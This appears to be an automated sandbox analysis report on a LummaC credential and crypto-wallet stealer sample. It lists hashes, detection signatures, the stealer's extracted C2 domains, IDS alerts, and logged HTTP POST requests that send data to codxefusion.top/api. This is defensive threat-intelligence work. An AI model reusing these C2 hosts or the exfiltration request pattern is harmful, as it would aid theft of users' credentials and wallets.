Edit tour

Windows Analysis Report
9uB9RDznXl.exe

Overview

General Information

Sample name:	9uB9RDznXl.exe renamed because original name is a hash value
Original sample name:	dfa2ab0714c9f234b63fd1295ce468bd247465701a90b8a9ab9eb3d6d032d258.exe
Analysis ID:	1640718
MD5:	accdbd5044408c82c19c977829713e4f
SHA1:	070a001ac12139cc1238017d795a2b43ac52770d
SHA256:	dfa2ab0714c9f234b63fd1295ce468bd247465701a90b8a9ab9eb3d6d032d258
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Joe Sandbox ML detected suspicious sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Detected non-DNS traffic on DNS port

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

9uB9RDznXl.exe (PID: 6816 cmdline: "C:\Users\user\Desktop\9uB9RDznXl.exe" MD5: ACCDBD5044408C82C19C977829713E4F)

cleanup

Malware Configuration

Threatname: LummaC

{
  "C2 url": [
    "hardswarehub.today",
    "gadgethgfub.icu",
    "hardrwarehaven.run",
    "techmindzs.live",
    "codxefusion.top",
    "quietswtreams.life",
    "techspherxe.top"
  ],
  "Build id": "6JVBTX--"
}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000001.00000002.1501721085.000000000116E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 9uB9RDznXl.exe PID: 6816	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 9uB9RDznXl.exe PID: 6816	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 9uB9RDznXl.exe PID: 6816	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-17T16:09:48.153843+0100	2028371	3	Unknown Traffic	192.168.2.5	49722	149.154.167.99	443	TCP
2025-03-17T16:09:49.337598+0100	2028371	3	Unknown Traffic	192.168.2.5	49723	172.67.212.102	443	TCP
2025-03-17T16:09:49.938568+0100	2028371	3	Unknown Traffic	192.168.2.5	49724	172.67.212.102	443	TCP
2025-03-17T16:09:51.685393+0100	2028371	3	Unknown Traffic	192.168.2.5	49725	172.67.212.102	443	TCP
2025-03-17T16:09:52.749356+0100	2028371	3	Unknown Traffic	192.168.2.5	49726	172.67.212.102	443	TCP
2025-03-17T16:09:54.001942+0100	2028371	3	Unknown Traffic	192.168.2.5	49727	172.67.212.102	443	TCP
2025-03-17T16:09:56.096930+0100	2028371	3	Unknown Traffic	192.168.2.5	49731	172.67.212.102	443	TCP
2025-03-17T16:09:57.576373+0100	2028371	3	Unknown Traffic	192.168.2.5	49733	172.67.212.102	443	TCP
2025-03-17T16:09:59.496506+0100	2028371	3	Unknown Traffic	192.168.2.5	49736	172.67.212.102	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-17T16:09:49.474583+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49723	172.67.212.102	443	TCP
2025-03-17T16:09:50.518726+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49724	172.67.212.102	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-17T16:09:49.474583+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49723	172.67.212.102	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (codxefusion .top in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-17T16:09:49.337598+0100	2060531	1	Domain Observed Used for C2 Detected	192.168.2.5	49723	172.67.212.102	443	TCP
2025-03-17T16:09:49.938568+0100	2060531	1	Domain Observed Used for C2 Detected	192.168.2.5	49724	172.67.212.102	443	TCP
2025-03-17T16:09:51.685393+0100	2060531	1	Domain Observed Used for C2 Detected	192.168.2.5	49725	172.67.212.102	443	TCP
2025-03-17T16:09:52.749356+0100	2060531	1	Domain Observed Used for C2 Detected	192.168.2.5	49726	172.67.212.102	443	TCP
2025-03-17T16:09:54.001942+0100	2060531	1	Domain Observed Used for C2 Detected	192.168.2.5	49727	172.67.212.102	443	TCP
2025-03-17T16:09:56.096930+0100	2060531	1	Domain Observed Used for C2 Detected	192.168.2.5	49731	172.67.212.102	443	TCP
2025-03-17T16:09:57.576373+0100	2060531	1	Domain Observed Used for C2 Detected	192.168.2.5	49733	172.67.212.102	443	TCP
2025-03-17T16:09:59.496506+0100	2060531	1	Domain Observed Used for C2 Detected	192.168.2.5	49736	172.67.212.102	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (codxefusion .top)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-17T16:09:48.520822+0100	2060530	1	Domain Observed Used for C2 Detected	192.168.2.5	55483	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (gadgethgfub .icu)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-17T16:09:48.477052+0100	2060538	1	Domain Observed Used for C2 Detected	192.168.2.5	50858	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (hardrwarehaven .run)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-17T16:09:48.487397+0100	2060542	1	Domain Observed Used for C2 Detected	192.168.2.5	63369	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (hardswarehub .today)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-17T16:09:48.465149+0100	2060545	1	Domain Observed Used for C2 Detected	192.168.2.5	60466	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (techmindzs .live)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-17T16:09:48.506277+0100	2060565	1	Domain Observed Used for C2 Detected	192.168.2.5	58730	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-17T16:09:56.636126+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49731	172.67.212.102	443	TCP

Joe Sandbox Signatures

• AV Detection
• Compliance
• Networking
• System Summary
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Language, Device and Operating System Detection
• Lowering of HIPS / PFW / Operating System Security Settings
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 9uB9RDznXl.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://codxefusion.top/apia	Avira URL Cloud: Label: malware
Source: https://codxefusion.top/r	Avira URL Cloud: Label: malware
Source: https://codxefusion.top/8	Avira URL Cloud: Label: malware
Source: https://codxefusion.top/api(	Avira URL Cloud: Label: malware
Source: https://codxefusion.top/s(	Avira URL Cloud: Label: malware
Source: https://codxefusion.top/	Avira URL Cloud: Label: malware
Source: https://codxefusion.top/E	Avira URL Cloud: Label: malware
Source: https://codxefusion.top:443/apil	Avira URL Cloud: Label: malware
Source: https://codxefusion.top:443/api	Avira URL Cloud: Label: malware
Source: https://codxefusion.top/piP	Avira URL Cloud: Label: malware
Source: https://codxefusion.top/pi	Avira URL Cloud: Label: malware
Source: https://codxefusion.top/api	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000001.00000002.1501721085.000000000116E000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["hardswarehub.today", "gadgethgfub.icu", "hardrwarehaven.run", "techmindzs.live", "codxefusion.top", "quietswtreams.life", "techspherxe.top"], "Build id": "6JVBTX--"}

Multi AV Scanner detection for submitted file

Source: 9uB9RDznXl.exe	Virustotal: Detection: 76%			Perma Link
Source: 9uB9RDznXl.exe	ReversingLabs: Detection: 83%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Sample uses string decryption to hide its real strings

Source: 00000001.00000002.1501721085.000000000116E000.00000004.00000020.00020000.00000000.sdmp	String decryptor: hardswarehub.today
Source: 00000001.00000002.1501721085.000000000116E000.00000004.00000020.00020000.00000000.sdmp	String decryptor: gadgethgfub.icu
Source: 00000001.00000002.1501721085.000000000116E000.00000004.00000020.00020000.00000000.sdmp	String decryptor: hardrwarehaven.run
Source: 00000001.00000002.1501721085.000000000116E000.00000004.00000020.00020000.00000000.sdmp	String decryptor: techmindzs.live
Source: 00000001.00000002.1501721085.000000000116E000.00000004.00000020.00020000.00000000.sdmp	String decryptor: codxefusion.top
Source: 00000001.00000002.1501721085.000000000116E000.00000004.00000020.00020000.00000000.sdmp	String decryptor: quietswtreams.life
Source: 00000001.00000002.1501721085.000000000116E000.00000004.00000020.00020000.00000000.sdmp	String decryptor: techspherxe.top

Source: 9uB9RDznXl.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.212.102:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.212.102:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.212.102:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.212.102:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.212.102:443 -> 192.168.2.5:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.212.102:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.212.102:443 -> 192.168.2.5:49733 version: TLS 1.2

Source: 9uB9RDznXl.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2060538 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (gadgethgfub .icu) : 192.168.2.5:50858 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2060542 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (hardrwarehaven .run) : 192.168.2.5:63369 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2060530 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (codxefusion .top) : 192.168.2.5:55483 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2060565 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (techmindzs .live) : 192.168.2.5:58730 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2060545 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (hardswarehub .today) : 192.168.2.5:60466 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2060531 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (codxefusion .top in TLS SNI) : 192.168.2.5:49731 -> 172.67.212.102:443
Source: Network traffic	Suricata IDS: 2060531 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (codxefusion .top in TLS SNI) : 192.168.2.5:49723 -> 172.67.212.102:443
Source: Network traffic	Suricata IDS: 2060531 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (codxefusion .top in TLS SNI) : 192.168.2.5:49733 -> 172.67.212.102:443
Source: Network traffic	Suricata IDS: 2060531 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (codxefusion .top in TLS SNI) : 192.168.2.5:49727 -> 172.67.212.102:443
Source: Network traffic	Suricata IDS: 2060531 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (codxefusion .top in TLS SNI) : 192.168.2.5:49725 -> 172.67.212.102:443
Source: Network traffic	Suricata IDS: 2060531 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (codxefusion .top in TLS SNI) : 192.168.2.5:49736 -> 172.67.212.102:443
Source: Network traffic	Suricata IDS: 2060531 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (codxefusion .top in TLS SNI) : 192.168.2.5:49726 -> 172.67.212.102:443
Source: Network traffic	Suricata IDS: 2060531 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (codxefusion .top in TLS SNI) : 192.168.2.5:49724 -> 172.67.212.102:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49723 -> 172.67.212.102:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49723 -> 172.67.212.102:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49731 -> 172.67.212.102:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49724 -> 172.67.212.102:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: hardswarehub.today
Source: Malware configuration extractor	URLs: gadgethgfub.icu
Source: Malware configuration extractor	URLs: hardrwarehaven.run
Source: Malware configuration extractor	URLs: techmindzs.live
Source: Malware configuration extractor	URLs: codxefusion.top
Source: Malware configuration extractor	URLs: quietswtreams.life
Source: Malware configuration extractor	URLs: techspherxe.top

Source: global traffic

TCP traffic: 192.168.2.5:54978 -> 162.159.36.2:53

Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49722 -> 149.154.167.99:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49731 -> 172.67.212.102:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49723 -> 172.67.212.102:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49733 -> 172.67.212.102:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49725 -> 172.67.212.102:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49727 -> 172.67.212.102:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49736 -> 172.67.212.102:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49726 -> 172.67.212.102:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49724 -> 172.67.212.102:443

Source: global traffic	HTTP traffic detected: GET /socialsscesforum HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: t.me
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: codxefusion.top
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=1wogBNoKW5hZ_NxBucAsjcUkdHCc3fzo7BvrIBTf.bo-1742224189-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 43Host: codxefusion.top
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=3HVVW8D9014G1II8YCookie: __cf_mw_byp=1wogBNoKW5hZ_NxBucAsjcUkdHCc3fzo7BvrIBTf.bo-1742224189-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 14920Host: codxefusion.top
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=ZX3KVQDKWRWCookie: __cf_mw_byp=1wogBNoKW5hZ_NxBucAsjcUkdHCc3fzo7BvrIBTf.bo-1742224189-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15033Host: codxefusion.top
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=4VL9Z0WPLXHCookie: __cf_mw_byp=1wogBNoKW5hZ_NxBucAsjcUkdHCc3fzo7BvrIBTf.bo-1742224189-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20522Host: codxefusion.top
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=07BV10XDC9BVBKIT57Cookie: __cf_mw_byp=1wogBNoKW5hZ_NxBucAsjcUkdHCc3fzo7BvrIBTf.bo-1742224189-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 2387Host: codxefusion.top
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=JYQEYWKNXCookie: __cf_mw_byp=1wogBNoKW5hZ_NxBucAsjcUkdHCc3fzo7BvrIBTf.bo-1742224189-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 590001Host: codxefusion.top

Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /socialsscesforum HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: t.me

Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: socialsscesforum.icu
Source: global traffic	DNS traffic detected: DNS query: hardswarehub.today
Source: global traffic	DNS traffic detected: DNS query: gadgethgfub.icu
Source: global traffic	DNS traffic detected: DNS query: hardrwarehaven.run
Source: global traffic	DNS traffic detected: DNS query: techmindzs.live
Source: global traffic	DNS traffic detected: DNS query: codxefusion.top

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: codxefusion.top

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 17 Mar 2025 15:09:49 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kakfeifQBtVIFGVXN64g%2FN%2FZ%2F1mdLJoYM7wWjjoyfCZSQDCHSN9NeYPrlfP2g7HouDIKOHaTfJoquw14ZNWBhc2tcBkZt%2BTj6jSImr8YN%2Bo3jfsfmhkv6MVHuzTGY8o0wgk%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 921d69dfe801436a-EWR

Source: 9uB9RDznXl.exe, 00000001.00000003.1438968602.000000000391D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 9uB9RDznXl.exe, 00000001.00000003.1438968602.000000000391D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: 9uB9RDznXl.exe, 00000001.00000003.1438968602.000000000391D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 9uB9RDznXl.exe, 00000001.00000003.1438968602.000000000391D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 9uB9RDznXl.exe, 00000001.00000003.1438968602.000000000391D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 9uB9RDznXl.exe, 00000001.00000003.1438968602.000000000391D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 9uB9RDznXl.exe, 00000001.00000003.1438968602.000000000391D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 9uB9RDznXl.exe, 00000001.00000003.1438968602.000000000391D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 9uB9RDznXl.exe, 00000001.00000003.1438968602.000000000391D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: 9uB9RDznXl.exe, 00000001.00000003.1438968602.000000000391D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 9uB9RDznXl.exe, 00000001.00000003.1438968602.000000000391D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 9uB9RDznXl.exe, 00000001.00000003.1415125409.0000000003928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org?q=
Source: 9uB9RDznXl.exe, 00000001.00000003.1451538455.00000000033A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: 9uB9RDznXl.exe, 00000001.00000003.1451538455.00000000033A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 9uB9RDznXl.exe, 00000001.00000003.1415125409.0000000003928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 9uB9RDznXl.exe, 00000001.00000003.1415125409.0000000003928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 9uB9RDznXl.exe, 00000001.00000003.1415125409.0000000003928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 9uB9RDznXl.exe, 00000001.00000003.1481604889.0000000003372000.00000004.00000800.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000002.1502445900.0000000003372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://codxefusion.top/
Source: 9uB9RDznXl.exe, 00000001.00000002.1502445900.0000000003372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://codxefusion.top/8
Source: 9uB9RDznXl.exe, 00000001.00000002.1502445900.0000000003372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://codxefusion.top/E
Source: 9uB9RDznXl.exe, 00000001.00000002.1501836064.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1481604889.0000000003372000.00000004.00000800.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1427445156.00000000033B2000.00000004.00000800.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1438423322.00000000033B2000.00000004.00000800.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1438811794.00000000033B9000.00000004.00000800.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000002.1502445900.0000000003372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://codxefusion.top/api
Source: 9uB9RDznXl.exe, 00000001.00000003.1427445156.00000000033B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://codxefusion.top/api(
Source: 9uB9RDznXl.exe, 00000001.00000003.1438423322.00000000033B2000.00000004.00000800.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1438811794.00000000033B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://codxefusion.top/apia
Source: 9uB9RDznXl.exe, 00000001.00000003.1481604889.0000000003372000.00000004.00000800.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000002.1502445900.0000000003372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://codxefusion.top/pi
Source: 9uB9RDznXl.exe, 00000001.00000003.1472837229.0000000003368000.00000004.00000800.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1472993398.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1458990241.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1481604889.0000000003372000.00000004.00000800.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1458575886.0000000003366000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://codxefusion.top/piP
Source: 9uB9RDznXl.exe, 00000001.00000003.1472837229.0000000003368000.00000004.00000800.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1472993398.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1481604889.0000000003372000.00000004.00000800.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000002.1502445900.0000000003372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://codxefusion.top/r
